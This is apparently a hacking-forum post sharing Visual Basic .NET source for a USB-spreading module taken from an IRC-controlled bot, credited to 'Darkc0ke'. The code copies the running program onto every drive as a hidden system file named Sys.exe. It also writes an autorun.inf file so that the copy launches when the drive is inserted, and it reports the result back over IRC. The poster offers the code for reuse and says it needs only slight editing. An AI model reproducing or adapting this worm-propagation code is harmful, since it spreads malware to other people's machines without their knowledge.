Code:
Private Sub SpreadBGWusb_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles SpreadBGWusb.DoWork
Dim totototototot As String = spread_returnto
Try
Dim aa232 As New ListBox
Dim int87654 As Integer = 0
Do Until int87654 = My.Computer.FileSystem.Drives.Count - 1
aa232.Items.Add(My.Computer.FileSystem.Drives.Item(int87654).ToString)
int87654 += 1
Loop
int87654 = 0
Do Until int87654 = aa232.Items.Count
Try
Try
My.Computer.FileSystem.DeleteFile(aa232.Items.Item(int87654) + "Sys.exe")
My.Computer.FileSystem.DeleteFile(aa232.Items.Item(int87654) + "autorun.inf")
Catch
End Try
My.Computer.FileSystem.CopyFile(Application.ExecutablePath, aa232.Items.Item(int87654) + "Sys.exe")
FileOpen(1, aa232.Items.Item(int87654) + "autorun.inf", OpenMode.Binary)
FilePut(1, "[autorun]" + vbNewLine + "shellexecute=sys.exe")
FileClose(1)
Try
My.Computer.FileSystem.GetFileInfo(aa232.Items.Item(int87654) + "Sys.exe").Attributes = IO.FileAttributes.System Or IO.FileAttributes.Hidden
My.Computer.FileSystem.GetFileInfo(aa232.Items.Item(int87654) + "autorun.inf").Attributes = IO.FileAttributes.System Or IO.FileAttributes.Hidden
Catch
End Try
Catch
End Try
int87654 += 1
Loop
IrcClient.Send("Success! - Darkc0ke", spread_returnto)
Catch ex As Exception
IrcClient.Send("Error -> " + ex.Message, totototototot)
End Try
End Sub
Something I found a while ago, had it lying around in a random folder. I know it works but I'm not sure if it's any good or not, it looks a lot longer than it probably should be, but oh well. I'd give it a try but I don't have a USB pen to try it on.
Was part of a full code so you will need to edit it slightly.
Credits to Darkc0ke.